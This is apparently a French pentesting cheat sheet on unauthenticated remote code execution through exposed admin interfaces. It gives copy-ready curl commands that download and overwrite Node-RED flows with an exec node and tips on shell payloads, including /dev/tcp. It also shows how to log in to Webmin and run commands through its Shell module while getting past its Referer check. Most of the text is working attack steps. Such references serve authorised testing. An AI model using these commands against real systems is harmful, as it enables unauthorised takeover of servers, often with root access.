Pentest Web

RCE non authentifié

Des interfaces d'admin censées être internes, atteignables sans le moindre credential.

API admin non authentifiée (Node-RED)

Copy command
curl -s $TARGET:1880/flows -o flows.json

Description: Beaucoup d'outils low-code/IoT (Node-RED, dashboards internes) exposent une API REST d'admin sans authentification par défaut. Récupérer la config existante avant de la réécrire.

Copy command
curl -X POST $TARGET:1880/flows -H 'Content-Type: application/json' -H 'Node-RED-Deployment-Type: full' -d @flows_evil.json

Description: Réécrire les flows avec un node exec câblé sur un trigger existant (ex: inject périodique) force un RCE au prochain redeploy.

Copy command
# node exec: useSpawn:"true" -> spawn() direct, casse 'bash -c ...'. useSpawn:"false" -> /bin/sh -c, syntaxe shell complète (pipes, /dev/tcp)

Description: Piège fréquent : un mode 'spawn direct' échoue silencieusement sur les payloads shell (pipes, redirections). Vérifier l'option d'exécution avant de conclure à un blocage réseau.

Panel d'admin léger (Webmin Command Shell)

Copy command
curl -c cookies.txt $TARGET:10000/session_login.cgi -d 'user=admin&pass=$PASS'

Description: Login Webmin classique. Un GET initial sur / est requis avant pour récupérer les cookies testing/redirect.

Copy command
curl -b cookies.txt -H "Referer: $TARGET:10000/shell/index.cgi" $TARGET:10000/shell/index.cgi -F 'cmd=id' -F 'pwd=/'

Description: Webmin vérifie le header Referer sur quasi toutes les requêtes (protection CSRF native) : doit pointer vers le même host. Le module Shell exige du multipart/form-data, pas de l'urlencoded classique. Le module tourne souvent directement en root, sans besoin de CVE spécifique.